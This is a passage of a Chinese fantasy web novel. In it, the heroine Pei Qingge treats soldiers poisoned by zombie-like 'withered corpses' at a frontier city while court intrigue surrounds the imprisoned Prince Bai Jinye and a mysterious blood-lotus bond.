倪君羡往后退了两步,裴清歌走到床边抬手搭上倪徵的脉搏,随后扒开他的眼皮看了看,才看向一旁的军医,“你检查了他的伤口么?” “伤口?”军医有些茫然地看了看华擎和倪君羡。 裴清歌见他并不知情,只好开口道,“你帮我把他扶起来,外衣脱掉。” 倪君羡又看了眼华擎,见华擎点头,才和军医一起把倪徵扶起来,脱掉了外衣。 倪徵的胳膊、肩头和后背都有伤,伤口其实不深,所以估计当时他自己也没有在意,不过这会再看,伤口周围的皮肉都开始发黑了。 “诶呀,这……”军医看着倪徵身上的伤口,“这是中毒了?” “用糯米水冲洗一下伤口,然后把糯米、何首乌、枸杞磨成粉,调和后敷在伤口,一日两次,三日后尸毒应该就可以拔除了。”裴清歌开口道,顿了下又说,“先在伤口上铺一层薄些的纱布,再外敷,不然粘在伤口上也不好处理。”说完又看向华擎,“其他人也一样处理。” 华擎思索了下才问,“可为什么倪将军和其他人的情况不一样?他们就只是发烧,但倪将军却昏迷?” “其他人这几天在做什么?”裴清歌开口问道。 “受伤后便在军营养伤。”因为是倪徵的人,所以这一次是倪君羡回答的。 裴清歌挑了挑眉,“这不就结了?其他人只是在养伤,毒运行得慢,就在表皮,所以只是发烧。这几日倪将军还在外面奔波,遇到枯尸还要运功打斗,毒运行得快,已经攻心了。” 她说着顿了下,抬起手,手指沾了一边茶水,随后在倪徵的后心写了一道符。 很快,倪徵就用力地吸了一口气,睁开眼睛,有些茫然地看着周围。 “爹。”倪君羡赶紧走过来,裴清歌也就后退了几步。 华擎看着倪徵醒过来,松了一口气,但脸色突然变了一下,正要说什么,想到裴清歌还在,到了嘴边的话就咽了回去。 裴清歌抬手抚了抚袖口,“按照我说的,毒拔除之前不要再运功,三日后我再来。没别的事,那我先走了。” 华擎把裴清歌送到军营外,才施了一礼,“今日有劳王妃。” “举手之劳。”裴清歌笑着看着他,顿了顿又补充,“再遇到枯尸时小心些,也多囤些糯米备用吧。” “是。”华擎点点头,目送着裴清歌离开,赶紧回了倪徵的营帐,军医已经下去准备裴清歌说的东西,他把倪君羡打发到门口看门,才低声道,“那公公也被枯尸咬伤,如今回了京城,怕不是也要出事?” 倪徵微皱了下眉头,“刚才你怎么不说?” “刚才王妃在这怎么说?”华擎拧着眉,“王妃到现在都没说王爷被打入大牢的事,似乎对王府出事也一点都不关心,恐怕也根本不希望我们回援。这些公公,可都机灵着呢,怎么会不知道皇上的心思?” “恐怕枯尸的事,也不会跟皇上说,但若是时间久了,公公出了事,就瞒不住了。”他说着叹了口气,“若是王妃知道了,着人去处理了公公的事,那皇上极大概率就彻底不会知道咱们这边的事了,将来知道,恐怕也晚了。” 倪徵叹了口气,“但愿如此吧。” * 裴清歌走远了才开口道,“怕是,白锦夜要来了。” 鬼卿有些诧异地看着她,“皇上,会放了他?” “刚刚华擎的表情……”裴清歌说着轻笑了一声,“恐怕他带着京里来的人去见枯尸的时候,故意让枯尸伤到了他,只是看一眼估摸着没有那么大的震撼,真的被伤到了才能吓到他,回京才能跟皇上禀报。” “公公虽然不运功,但这一路颠簸,应该没有倪徵那么严重,可也会加快毒气攻心的速度。” “最坏的结果,就是那公公失去理智后,可能会攻击人,而被他攻击的人,也会跟他有一样的症状。一旦出现传染,说不定会被认为是时疫。” “那样的话,除了白锦夜,就没人愿意来月城了。况且皇上还可以留着张太妃等其他人在京中做人质,他甚至更希望白锦夜也在月城染上病,直接死在月城,他不用杀人,还能背上贤德之名,多好。” 鬼卿沉默了下,才问,“就不管,那公公了么?” “命。”裴清歌转头看了看鬼卿,“放心,在宫里应该不会大规模传染,还有和月如呢。” 和月如拿到的紫莲戒不管真假,都没有及时告诉裴姝,怕是已经被裴姝舍弃了。 天风国的贵妃之位已经是她最后的倚靠,她怎么会舍得放弃这个?说不定以后甚至要开始争宠,抢皇后之位了呢。 第122章 他死在月城不是皆大欢喜么?(继续求票) 那传旨的公公回了京城之后,确实对枯尸的事情只字未提,只是说已经传了旨。 又说华擎华将军是个识时务的,接到圣旨之后,立刻就表明并未参与谋反,也不知谋反之事,但他是天风国的将军,誓死效命皇上。 甚至还带着他看了月城的风土人情,只不过月城贫瘠,除了山山水水的好看些,民风都很彪悍。 当然这些都是公公胡编出来想让皇上开心的。 华擎可没说过那样的话,他也没怎么看月城的山山水水就被枯尸咬了。 不过月城是边城,总不比盛京,不可能样样都好,说些缺点,皇上当然更开心。 果然,皇上听完他的回禀,就立刻说了些他这一路奔波受苦了,给了不少赏赐,让他回去歇息了。 公公回到住处,听着手下小公公们恭维了几声,甚至都没心思看赏赐,就屏退了所有人,拉开衣领,对着镜子看自己肩膀上的伤口。 那日他被咬伤之后,这伤口只是有些红肿,也没怎么流血,他随意地上了些金疮药包扎,就赶紧离开了月城。 但一两天之后,这伤口越来越疼,甚至开始发黑,也一点都不见好。 这几日伤口周围的黑色开始蔓延,可他哪敢跟皇上说这种事? 怎么这边肃亲王刚入狱,那边月城就出了事?这不是在皇上面前找晦气么? 他甚至都不敢马上去找太医,还是入夜之后,才偷偷摸摸地去找了相熟的太医。 但他只是说自己被野外的动物咬伤,也没看清那是什么动物。 太医虽然看着这牙印不像是动物咬的,但也没有多言,只说可能是有毒,给他开了些祛毒的药。 几日后,白砺寒正在开心地和白玉衡下棋,顺便盘算着到底派谁去月城接管月城的军队。 本来白玉衡在这事情上使劲儿,当然也是希望分一杯羹,可那日在天牢见过白锦夜之后,他突然明白,白锦夜这事没这么简单,他一定还留了后手,所以现在急着接手他的兵权,将来白锦夜反扑的时候,肯定是死的最惨的那个。 于是就隐约地提醒皇上,他认为这军权最好不要再给姓白的,不然还会出现第二个白锦夜。 最好是平均分给几个将军,让他们既能相互制衡,皇上又好控制。 而且又赶紧趁机表明,他此番之举,完全是出于对皇上的忠心,没有半点私心。 白砺寒本以为白玉衡对这军权是有心思的,其实也是在试探他,没想到他会这么说,顿时觉得自己的这个皇弟越看越顺眼。 “那你觉得陶赫、陆荣和贺元忠这三人如何?”白砺寒下了一子后问道。 白玉衡看着面前的棋局,一副绞尽脑汁的模样,也不知道是因为皇上的问题还是因为棋局。 但其实他心里已经快要乐开花,陆荣和贺元忠都是他的人,兵权给了他俩,跟给他有什么区别? 半响后他才道,“陶赫是皇后的外公。” 话像是只说了半句,但白砺寒也明白了,他叹了口气,“哎,陶将军也是年纪大了,还是别去边疆苦寒之地了。”他说着想了会又说,“不过白锦夜手下的大将既然愿意投诚,倒不妨给他留个位置。” “是。”白玉衡点点头,“皇上英明,有赏有罚,也彰显皇上气度。” 不过谁都明白,这只是暂时的,皇上还会真的留着白锦夜的人么?做个过渡而已,等陆荣和贺元忠去了,早晚能全都捏在手里。 白砺寒满意地看着棋局,笑道,“皇弟,你又输了。” 白玉衡正要恭维几句皇上棋艺高明,一个公公就急匆匆的走来,跪在地上行了礼,“皇上,不好了,徐公公突然发疯了,咬伤了人……”他说着微微抬眼小心翼翼地看了眼白砺寒的脸色,才低声道,“特别……特别像张太妃……” “混账!”白砺寒拍了一下棋盘,棋盘掉在地上,棋子也散落了一地,“舌头不想要了么?” 公公赶紧磕了个头,“奴才嘴贱,但徐公公力气真的大得很,几个人都按不住,而且……而且他流出来的血都是黑色,整个人皮肤都是青乌的,也不知道是怎么了。” 白砺寒拧眉想了会,半响才问,“徐公公是日前去月城传旨的那个?” “是。”公公应了声,“刚刚听徐公公院里的小公公说,徐公公回来的时候好像就受了伤,私下去看了太医,这几日也都是自己在换药,不准他们靠近。” 白砺寒没有说话。 白玉衡倒是开了口,“去把给徐公公看伤的太医传来。” “是。”公公转身退下了。 太医到的时候,和月如也到了。 这几日她就隐隐地感觉到了尸气,但她从未表现出自己懂得这些东西,也就没管。 可今日这尸气冲天,她怕再这样下去,这皇宫里就要生灵涂炭了。 路上她也听说徐公公的事了,但她也不方便去公公的住所,便先来见白砺寒。 听完太医的描述,和月如大概明白了怎么回事,倒不是什么大问题,如今看来就是被尸变的尸体咬伤,她也就没有多言。 太医断定是中了什么毒,既然治不好,又开始伤人,白砺寒大手一挥,说如果控制不住,直接斩杀就是。 反正就是一个公公而已,也没有人觉得白砺寒的决定有什么不妥。 不过几日后,就在白砺寒拟好了圣旨,让陆荣和贺元忠不日启程去月城的时候,被徐公公抓伤咬伤的人也陆续出了症状。 这种事人一多,就瞒不住了。 立刻就有了流言,说徐公公从月城回来染上了不知名的病,还传染给了身边的人,现在太医对这病束手无策。 而且这病到最后,就会想张太妃和张家的人那样发疯。 众人一联想张家的人就是因为张之极去过月城,现在这徐公公也是去过月城,谁还敢去月城了? 陆荣当即就告了病假,贺元忠痛恨自己慢了一拍,只能从马上摔下跌断了腿。 白砺寒气得把桌上的东西全都扫落在地,“一群胆小怕事的窝囊东西!” 一旁的袁公公上前一步,“皇上息怒,咱们对这月城本就不熟悉,贸然前去,恐怕真的有什么咱们不知道的事。陆将军、贺将军这些都是天风国重臣,万一真的折在月城,那是天风国的损失,不如……派个熟悉月城的人去,然后带上两个监军?” “熟悉月城的?”白砺寒看向他,“除了白锦夜,还有谁熟悉月城了?” “如今肃亲王是戴罪之身,带几个监军去月城他也没资格拒绝,况且张太妃和王妃都还在牢里,肃亲王最多戴罪立功。”袁公公说着小心翼翼地看了白砺寒一眼,没有再往下说。 白砺寒眯了眯眼,白锦夜这几年为了治好张太妃也是费尽心思,他绝不可能置张太妃于不顾。 再说,他不肯承认自己谋反,也不肯交出兵符,想要处置一个有实权的王爷,没那么容易,而且这还牵扯到裴清歌背后的云家,事情棘手的很。 所以他如果能处理月城的事,那就最好。 如果他也处理不了,死在月城,不是更皆大欢喜么? 第123章 所托非人 四日后,白锦夜带着左辞到了月城。 一同到的,还有皇上亲自指派的梅训庭之子梅君武以及兵部侍郎唐安。 梅训庭在得知皇上要派人随白锦夜去月城的时候,心思就活了。当时是他帅着卫戍大营的人,到肃亲王府去抓人,虽然说是皇命不得不从,但若是白锦夜死了也就罢了,可如今皇上又派他去了月城,这一去,一切就成了未知数。 若是白锦夜翻身,他说不定第一个就拿他杀鸡儆猴。 所以梅训庭当即向皇上举荐了自己的儿子梅君武跟着白锦夜去充当监军。 临行前,也嘱咐了梅君武,若是白锦夜有翻身的迹象,立即向他示好,将来就算白锦夜要清算梅家,起码也能留下个梅君武,梅家也不至于就此覆灭。 不少人此时心中也都暗暗松了一口气。 好在白锦夜入狱的时候,他们没有落井下石,这种事情,不到最后一刻,真的不知鹿死谁手。 华擎和倪徵闻信,早就带人列队等在南城门。 仪仗规整,军纪严明。 梅君武看着面前士兵们整齐划一向白锦夜行礼,听着一声声铿将有力的呐喊声,感受着这些将士身上散发的杀气,他心底极为震撼。 自十五岁开始他就跟着梅训庭呆在卫戍大营,虽然卫戍大营的士兵也每日操练,但又怎么能跟这些真的上过战场、杀过敌人、从鲜血中磨炼而出的将士相比? 他转头看向唐安,本以为会在唐安脸上看到同样的震惊,可没想到却听唐安嗤笑一声,“肃亲王,如今你是戴罪之身,是皇上宽宏大量,让你将功赎罪,这些将士以后自然有人来接管,王爷莫不要还当做从前。” 白锦夜没有理会唐安,策马上前,走在华擎和倪徵之间。 “肃亲王!”唐安举起马鞭指着白锦夜,“我们现在叫你一声王爷都是抬举你,你不是真的还把自己当回事吧?” 左辞扬起手里的马鞭,抽在唐安的手背上,他手里的马鞭瞬间被打落在地,“唐大人,到了月城,管好自己的嘴,不然下一次,这鞭子可就直接抽嘴了。” “你……你……”唐安捂着被左辞抽伤的手,“我等可是奉皇上之命,到此是监军,你真是好大的胆子。” “我胆子大不大,你可以再试试。”左辞笑着看着唐安,他已经忍了他一路了,还真把自己当成根葱了么? “混账。”唐安骂了一句,又看向梅君武,“梅郎将,你也是奉皇上之命而来,该做什么该说什么你心里不清楚么?” 梅君武微微皱了下眉,只想着你自己找死可别拉上我,于是抬手对着左辞拱了拱手,“这一路舟车劳累,还望左总管给安排个住处。” 左辞打量了梅君武一眼,这一路上他也不言不语,倒是个识时务的,他轻哼一声,“还算是有点人样。” 说完他挥了挥手,一队士兵立刻上前将唐安和梅君武以及他们身后的十几个士兵包围住,“带梅郎将和唐大人去驿站落脚,这些日子,好生照看他们,吃的喝的用的,可别委屈了这些从盛京来的娇贵客人。” 唐安闻言,就知道自己这些人是要被软禁在驿站,他正要说话,可嘴刚张开,就见士兵的首领拔出了剑,“诸位,请吧。” 左辞看着唐安微微翘起唇角,也没在停留,调转马头迅速的朝白锦夜追过去。 * 到了将军府,四人进了前堂,厨娘赶紧奉了茶,知道他们有事要谈,离开的时候关上了门。 “王爷,敢问那位裴姑娘……真的是王妃?”华擎坐下后就立刻问道。 白锦夜喝了口茶润了润嗓子,没说话。 “是啊。”左辞叹了口气,又问,“王妃她人呢?” “这几日王妃都带着她的随从每日出城,还让厨娘帮忙采购不少朱砂一类的东西。属下着人远远地跟着去看过,他们一直都是城外西北的旬阳山上,应该是在布置什么。”华擎回道。 “那传旨的公公是怎么回事?”左辞继续问。 华擎便把这些日子发生的事一五一十的说了。 “这事倒确实是撞在王妃手上了。”左辞说着看向白锦夜,“王妃应该能处理。” 白锦夜这才把茶杯放下,“她只说要那样东西,其他的没说?” 华擎点点头,转头和倪徵对视了一眼,才有些尴尬地道,“那传旨的公公来了之后,我们才知道王爷在京中出了事,但王妃对这件事绝口不提,我们一时也拿不准王妃到底是什么意思。” 左辞低头摸了摸鼻子,眼睛看向别的地方,他当时还巴巴地求着王妃来月城搬救兵,甚至把虎符亲手交给她,他那么相信她,结果竟是这样。 “最近枯尸出现的频率和数量如何?”白锦夜没再继续说裴清歌的事,转口问道。 “最近每天都会出现两三波,每一波大概几十个。”倪徵回道,“算起来,也就只有王妃来的那天,出现过一大波,剩下都还好。不过数量已经比最开始多了,最开始我们都是三人一组巡防,碰上的枯尸不过零星几个,现在基本上都是百人编制。” 白锦夜点点头,“稍后本王和你们一起出城去看看。” 他的话音刚落下,就听到院子里的厨娘的声音,“王妃,你回来了,今日回来的好早。” 裴清歌也是刚进院子,厨娘虽然以往见到她也会问好,但这一次明显是提高了声音,她瞥了一眼关着的前堂门,又看了眼旁边的马厩,直接问,“你们王爷到了?” 厨娘神色一赧,点点头。 裴清歌也没再说话,径直往前堂走,刚走到门口,前堂的门就被人从里面打开。 左辞站在门里看着她,满腹的怨言,可却不知道从哪开始质问,于是只是伸出手,恨恨地道,“王妃,属下一时情急,把虎符给了你,不知所托非人,还望王妃把虎符还给属下。” 裴清歌随手拿出虎符扔给左辞,目光却看向白锦夜,“用虎符把我诓骗到月城,王爷真是下得一手好棋。” 第124章 现在算是两清了? 左辞堵在门口,犹豫了下,还是让开了身,又对着华擎和倪徵做了个手势,二人会意,起身向白锦夜告辞后,跟着左辞离开了。 走出将军府,三人进了隔壁的小院,华擎犹豫了下,还是开口问,“王爷和王妃……感情不太好?” “哎。”左辞仰天叹了口气,“我也看不懂,有时候觉得还可以,但有时候又好像连陌生人都不如。” 细节的事,他也没有必要跟华擎他们说。 毕竟听白锦夜的意思,他们入狱的事,都是裴清歌一手造成的。 王爷这个人,有时候自己受些委屈什么的,他也不在乎,但他的底线就是他身边的人。这一次,全王府的人都被抓进了大牢,尤其是张太妃,人还在昏迷中,一样被扔进牢里。 这大概就是王爷没办法容忍的了。 他虽然什么都没说,眼下又有枯尸的事要解决。 但感觉他和王妃这一次,是彻底掰了。 * 白锦夜看着走进来的裴清歌,又往她身后看了一眼,“鬼卿呢?” 裴清歌勾唇笑了笑,“我让鬼卿去鬼王沙漠里探探,看看最大数量的枯尸大概会什么时候到。不过——”她说着拉长了尾音,“就算鬼卿不在,我也不怕王爷跟我算账,不然我早就走了。” “也是。”白锦夜站起来,走到裴清歌的面前停下,“你不怕本王跟你算账,怕的话,也就不敢这样算计本王了。” 他说着抬手拽掉裴清歌脸上的面纱,她脸上的疤痕在逐渐淡去,现在看起来,比上一次见到的时候,又淡了不少,大概再过些日子,这疤就完全看不见了。 裴清歌皱了皱眉,不知道他要干什么,后退了一步,想着他无非就是想要知道原因,但是她也绝对不可能说出黄泉路的事,沉默了会,才道,“我这个人,不过就是睚眦必报而已,当初刚到王府之时,你的羞辱,我都铭记在心,只要有机会,自然不会让你好过。” “是么?”白锦夜看着她,“那现在算是两清了?” “王爷不是好好的站在这么?”裴清歌轻笑一声。 白锦夜眯了眯眼,半响才说,“大敌当前,本王不想还要防着有人放冷箭。” “你放心,枯尸的事我也会尽可能的解决,不过……枯尸的事情结束后,你把紫莲戒给我。”裴清歌开口道。 “我们的事,解决完枯尸,再来处理。”白锦夜说着正要往前一步,突然听到院子里“噗通”一声,像是有什么重物落在地上。 裴清歌脸色一变,转身跑出去,就见鬼卿倒在地上,衣襟都被鲜血染红。 她立刻往四处查看了半响,没见到人影和异常,才赶紧上前查看鬼卿的情况。 鬼卿如今铜皮铁骨,武力几乎是巅峰,能这样伤到他的人,绝对不多! 他脸色惨白,只剩微弱气息,还不断的有鲜血从他的嘴角流出来。 “搭把手。”裴清歌转头看向追出来的白锦夜。 白锦夜皱了下眉,刚才裴清歌说了鬼卿去了鬼王沙漠,如今这副模样回来,显然是遇到了劲敌。 听刚才华擎他们的描述,枯尸绝对不是鬼卿的对手,就算是大量的枯尸,也不可能这样伤到他。 不过这些枯尸能走出鬼王沙漠,显然是背后有人指使,莫不是鬼卿遇到了那个人? 他拧着眉,上前跟裴清歌一起把鬼卿扶进了房间。 裴清歌没有给冥尸治过伤,她看着鬼卿,一时也不知道该怎么下手。 顿了会,她抬手按上鬼卿的眉心。 鬼卿进了鬼王沙漠之后,一开始确实只是在探查,但深入了一段,他发现了一些异常的痕迹,就顺着痕迹往前查看。 但那里已经是偏离了月城通往北冥国的路,鬼卿一开始有点犹豫,毕竟再走下去,他可能也会迷失在鬼王沙漠里。 走了一会,正想着是继续往前走,还是先回去跟裴清歌说一声的时候,他就见到了一片貌似城墙的遗址,遗址里还有法阵,而法阵显然是刚刚设下没多久的。 他正查看着,就被人在背后打了一掌,直接飞了出去。 等他爬起来,才见到打他的竟是北冥国国君! 在国君的身后,坐着一个面容苍老,头发都开始花白的人,但仔细辨认,还是能看得出来,那正是前几天从裴清歌的困阵里逃出去的裴姝。 鬼卿当即明白带走裴姝的就是国君,擅自离开北冥国,自然要受到惩罚。 裴姝是,他当然也一样。 国君也像是不打算放过他,处处下死手。 鬼卿不是国君的对手,就在他即将昏迷之际,突然被人抓住肩膀,带离了那个遗址。 之后鬼卿就彻底没了意识。 裴清歌收回手,竟然是国君! 他亲自出来找裴姝么?可他如果知道裴姝在那,现在又见到了鬼卿,大概也早就知道自己的事了。 就算他不知道,裴姝知道她的身份,也不可能不告诉国君。 可国君为什么要对鬼卿下杀手? 就算擅自离开北冥国,要接受处罚,那也有明确的律法规定要如何处罚,国君也不会亲自动手处理这样的事情。 还有……又是谁救了鬼卿? 那人知道自己在这,才会把鬼卿送过来。 裴清歌转头看着窗外,她以为她可以顶着原主的身份,但其实行踪早就被人知道得一清二楚了么? 隔了好半天,白锦夜见裴清歌也没什么动作,便开口问,“他怎么样?” “冥尸有自愈的能力。”裴清歌说着顿了顿,“但是自愈能力很慢,他伤得太重,最好是有些外力的帮助,可我现在身上没什么能帮他的药。” “这世上,有谁能伤到他?”白锦夜又问,“伤他的人跟枯尸会有关系么?” 裴清歌转头看了看他,没有说话,眼下的事,她也想不明白,还有裴姝,几天不见,怎么会苍老得那么快? 就算是刑罚,国君为什么在鬼王沙漠的遗址里处罚她? 而且……鬼王沙漠里怎么会有城墙遗址? 裴清歌抬手揉了揉眉心,她的问题比白锦夜更多,但是没人能给她答案。 虽然一般的金疮药对冥尸来说用处不大,但裴清歌也只能先帮鬼卿包扎好,总是聊胜于无。 正包扎着,鬼卿的衣襟里突然掉落一样东西,是一个指甲大小,红色玉石雕刻的莲花! 第125章 你们圣女之间的谣传 裴清歌把红色玉石莲花捡起来,这东西看着普通,但若是知道血莲存在的人,就绝对不会觉得它是个普普通通的东西! 可如今这世上,知道血莲存在的还有几个人呢? 她是经过那个池子的最后一道考验后,第二天见到师父的时候,师父在她的身体里种下的血莲。 师父当时说,这血莲是只有圣女和国君才知道的秘密,绝对不可跟任何人提起。 按理说,这世上知道血莲的,只有她、师父和国君。 裴姝没有经过最后一道考验,不可能知道血莲。 再者,还有当初在彭城流霞山见到的苍幽,可他似乎没必要做这些。 刚才从鬼卿的记忆里,国君一见到他就开始动手,根本不可能把这东西放在鬼卿的身上,所以……只能救走鬼卿的那个人。 救走鬼卿的,到底是谁呢? 裴清歌把玉石血莲握在手心,但它像是被她手心的温度融化,她在摊开手,莲花就变成了一滩红色的液体,那液体迅速的从她的手心逆着流向她的手腕、胳膊。 她正愣着,左辞他们也走到了门口。 刚才院子里的声响他们也听到了,还以为是王爷和王妃动了手,三个人小声嘀咕了会,决定还是来看看,起码劝劝王爷,毕竟这枯尸的事,说不定还要指望王妃呢。 哪知道刚进门,就听厨娘说是裴清歌的随从受了伤,刚拿了药进去。 华擎他们不知道,左辞多少还是知道鬼卿的能力的,于是也赶紧来看看,要是鬼卿都受了伤,那说明他们这次的对手会很让人头疼,“王爷,王妃,没什么大事吧?” “没事。”白锦夜微微皱了下眉,知道自己在这也帮不上什么,看起来裴清歌就算知道什么也不可能跟他说,于是便打算转身离开。 只是他刚迈出去一步,听见左辞有些夸张地喊了一声,“王妃!” 他一转身,便看见裴清歌倒在地上,双眼紧闭,人事不知了。 他只能走回去,弯腰把裴清歌从地上抱起来,往卧房走。 “王妃这是怎么了?”左辞也跟在一边,“刚才我们进门的时候还好好的,怎么突然晕倒了?是不是这几天太操劳了?” 白锦夜转头看了左辞一眼。 左辞抬手轻轻地打了一下自己的脸,“诶呦,瞧属下这个没记性的,见王妃晕倒了还是忍不住关心。”他说着又低声嘟囔,“王爷不也一样立刻就上前把王妃抱起来了么?在地上多躺一刻都舍不得吧。” “你这么关心她还不去请大夫在这废什么话?”白锦夜踹开房门,先走了进去。 左辞摊了摊手,转身去请大夫。 大夫来得倒是快,但是对裴清歌的情况束手无策,拿着银针扎了又扎,就是不见裴清歌醒。 左辞站在一边,看着大夫手都有点抖了,忍不住问,“不能换个别的方法么?你再扎下去,王妃都让你扎成筛子眼了,可还是没醒啊。” 大夫吓得“噗通”一声就跪在地上,“王爷饶命啊,小的学艺不精,实在救不醒王妃。” “又没人要把你怎么样。”左辞嘟囔了一句,抬眼看向白锦夜。 白锦夜拧眉看着躺在床上一动不动的裴清歌,枯尸走出鬼王沙漠,全都朝着月城来,这个档口上,鬼卿被重伤,裴清歌又突然昏迷。 他们两个对付枯尸,显然会比其他人更有办法,所以这个时候他俩接连出事,显然是有人在背后操纵,不想让他俩帮忙对付枯尸了。 “你们先出去吧。”白锦夜挥了挥手,裴清歌会的本事,他多少也明白,能无声无息让裴清歌昏迷,又没见有人出手,大概也是类似的本事,这样的话,寻常的大夫自然不可能救醒她。 左辞想着这大夫在这也无用,就赶紧带着人离开了。 出门之后,转身关门的时候,便见到白锦夜坐在了床边,把裴清歌扶到了自己的怀里。 他悄悄的关上门,王爷和王妃大概又掰不了了。 看着他们家王爷这样,恐怕王妃要朝他捅刀子,他都会自己把刀子递过去吧。 白锦夜拉开裴清歌的衣领,看着她肩头上的红色莲花,微微皱了下眉,上次她的身体突然异样,这莲花吸血之后她就恢复了。 如今,也只能试试了。 裴清歌只感觉自己一直在往下坠,完全没办法控制自己的身体。 等她停下来的时候,就到了一片全是血红色的世界。 在她面前,是一片血红色的池子,池子里长满了莲花,有含苞待放的,有将开未开的,也有完全盛开的。 她往前走了几步,一道声音蓦地响起来。 “白锦夜死了,谁给你养莲花?” 裴清歌皱起眉头,转身四下看了一圈,也没见到人影,“你是谁?这是在哪?” “白锦夜死了,谁给你养莲花?”那声音没有回答她,反倒又问了一遍。 “我的事,与你无关,放我出去。”裴清歌眯了眯眼。 那声音笑了几声,“看样子,你计划着算计白锦夜的时候,就想过这个问题了。况且,你们圣女之间,不是谣传血莲养不成就会噬主么?所以你宁愿承受血莲的反噬,也要看着他死。” “你到底是谁?”裴清歌又问,“鬼卿身上的那个红玉石莲花是你放的?就为了把我引到这?你为什么说我们圣女之间的是谣传?” “不是谣传么?”对方笑得更加肆意,“护主的事不说,却说噬主,怪不得千百年来都没人养成血莲!” 裴清歌抿着唇,想了会问道,“你是……少祀官?” “等你养成了这朵血莲,我就让你知道我是谁。”那声音说着叹了口气,“不是谁的血,都能养成血莲,碰上白锦夜,不知道是你的运气,还是他的运气,都是命数,都是命数。” “什么命数?你把话说得明白点!”裴清歌忍不住提高了声音,“别在这装神弄鬼!” “装神弄鬼不向来是你们圣女的拿手好戏么?”对方说着顿了顿,“罢了,罢了,现在还太早。” 他的话音落下,裴清歌就感觉自己像是被人大力地甩了出来。 她猛地睁开眼,入眼便是白锦夜的侧脸。 她下意识地一把推开他,又抬手拉了拉衣领,扫了一眼白锦夜掌心上的血,微微抿了抿唇,“没事了,多谢。” 白锦夜站起身,走到一边,往掌心倒了金疮药,慢条斯理地包扎了伤口,才语气平淡地开口,“你这莲花,只能吸收本王的血,是吧?” 第126章 听你家王爷说,你还挺关心我的? 裴清歌皱起眉头,盯着白锦夜的背影。 “本王也不是什么善男信女,你要整个王府覆灭,本王还用血救你?反正左辞一直觉得你是他心里的好王妃,让他出点血,不为过吧?”白锦夜说着转头看着裴清歌,“但其实只能是本王的血,对么?” 裴清歌倒是没想过歪打正着会让白锦夜发现这个秘密,她沉默了会,才说,“那又如何?” “那又如何?”白锦夜轻笑一声,“明明需要本王的血,还要陷整个王府于不义,这倒是让本王确实想不通了,就算是有仇必报,也没必要杀敌一千,自损八百不是么?” 裴清歌垂下眼,没再说话。 白锦夜像是也知道不会从裴清歌这里听到什么答案,只是微微等了片刻,便道,“本王去军营,你和鬼卿可以继续住在这。” 说完便迈步离开了。 等他出了门,裴清歌才仔细地检查了一遍自己的身体,没有任何异样,那刚才昏过去,应该就是那朵红玉石莲花的缘故。 若是白锦夜不在,大概隔段时间她也就自己醒了。 抿了抿唇,裴清歌从床上下来,她还是不太放心鬼卿,所以打算过去守着他。 刚走到门外,就见到站在门口不远处的左辞。 她皱了下眉头,左辞既然已经知道她对白锦夜做的事,对她肯定有了隔阂,这种事情,她虽然本意不想牵连别人,但事情已经发生了,也不可能再弥补什么。 她收回目光,继续往鬼卿的房间走。 左辞只好自己走过去,“王妃,属下实在是想不通,你要是对王爷有怨气,打他骂他都好,王爷应该不至于跟你一般见识,但是非得这样么?你说像是咱们这身强力壮的还好,张嬷嬷他们那些,都年纪大了,在阴冷潮湿的牢房里,哪受得了?” “王爷在,没完全定罪,他们多少还看着王爷的薄面,起码吃穿上还有个温饱,这现在王爷来了月城,不知道他们要受多少苦了。” “说不定这个时候来个屈打成招,等将来王爷一回京,皇上就拿着他们按了手印承认王爷谋反的供书给王爷看了,而且那时候连活口可能都没有了。” “属下都劝王爷不要来月城,来月城,是为了天风国的百姓,可这百姓归根到底是皇上的,跟王爷什么关系?还不如在牢里,起码死也四个团圆。” 裴清歌没有接左辞这个话,他这话说出来,显然是在唬她,白锦夜既然要来月城,自然会安顿好其他人,不跟皇上达成什么交易,他也不会轻易只身前来,“你在这干什么?怎么不跟你家王爷去军营?” “哎。”左辞叹了口气,“属下这不是有伤么?王爷早就说不让属下上战场了,这一次本来也不想带着属下来,想要带着司空,可皇上不准。”他说着冷笑一声,“皇上这点小九九,谁不明白?司空是带兵的,属下如今不过就是王府的总管,能帮王爷什么?” 裴清歌这才想起来,之前左辞说过他受伤的事,如今确实是用人的时候,如果左辞的伤能治好,也是助力。 说话间,也进了鬼卿的房间。 裴清歌又仔细地检查了一遍,隔了这么一会,鬼卿嘴里已经不再吐血,起码内伤在逐渐自愈,剩下的就要慢慢养了。 她拉过被子,给鬼卿盖好,才转身走到桌边,拿着纸笔写了一张单子,“你按照这张单子去准备药材,晚点我帮你把肩头的箭头取出来。” 左辞脸上一喜,如今要是他能好起来,就可以继续帮着王爷了! 他赶紧把单子接过来,顿了顿,脸上的笑容慢慢消失,又把单子放回到桌子上,“算了,属下还是别再欠王妃人情了,王妃也不用惦记属下的伤,就当属下死在天牢了吧。” 裴清歌抬眼看他,“你真是这么想?” 左辞梗着脖子点了点头。 裴清歌笑了笑,收回目光的时候,瞥了一眼左辞的双手,上面完全没有伤口,她嘴角的笑容僵了一下,才问,“刚才我晕倒的时候,听你家王爷说,你还是挺关心我的?” “属下就是个跑腿的,除了去请大夫也做不了什么。”左辞说着用余光仔细地看着裴清歌的脸色,“再说,最关心王妃的肯定还是王爷,大夫救不醒王妃,王爷可急坏了,发了火把属下等人走赶出去,自己抱着王妃不知道急成什么样。” 反正裴清歌当时是晕了,他说什么,难道裴清歌还能去找白锦夜求证不成? 裴清歌微微眯了眯眼,白锦夜果然就是在诈她! “哎,王妃,属下说了这么多你到底听懂没有啊?”左辞看着裴清歌也没什么反应的模样不由着急,“不管因为什么,你虽然这么做了,可王爷好像也没有怪你,你能不能理解王爷的良苦用心?” 裴清歌没说话,只是把纸单重新推到左辞的面前,“既然你这么了解他的良苦用心,就赶紧去准备这些药材,我把箭头取出来,你养好伤了继续效忠你家王爷。” 左辞急得一跺脚,没好气的抓起面前的单子,转身气冲冲的走了。 看着他走了,裴清歌的手才微微握成拳,转头看向鬼卿,眯起眼睛。 * 当天左辞就备齐了药材,第二天天气也不错,阳光甚好,裴清歌帮他取出了箭头。 将军府一共就这么两间卧房,于是她也就只能让门房和厨娘帮忙在鬼卿的房间里搭了张简易的床,让左辞留在这养伤。 这样她照顾鬼卿的时候,也方便照顾左辞。 这件事左辞也没让人跟白锦夜那边说,一个是现在大敌当前,没必要因为这点小事让他分心,再加上他确实也想给白锦夜一个惊喜。 于是这么多年来,他从来没有任何一次像这次一样,乖乖的吃药,盼着自己的伤赶紧好起来。 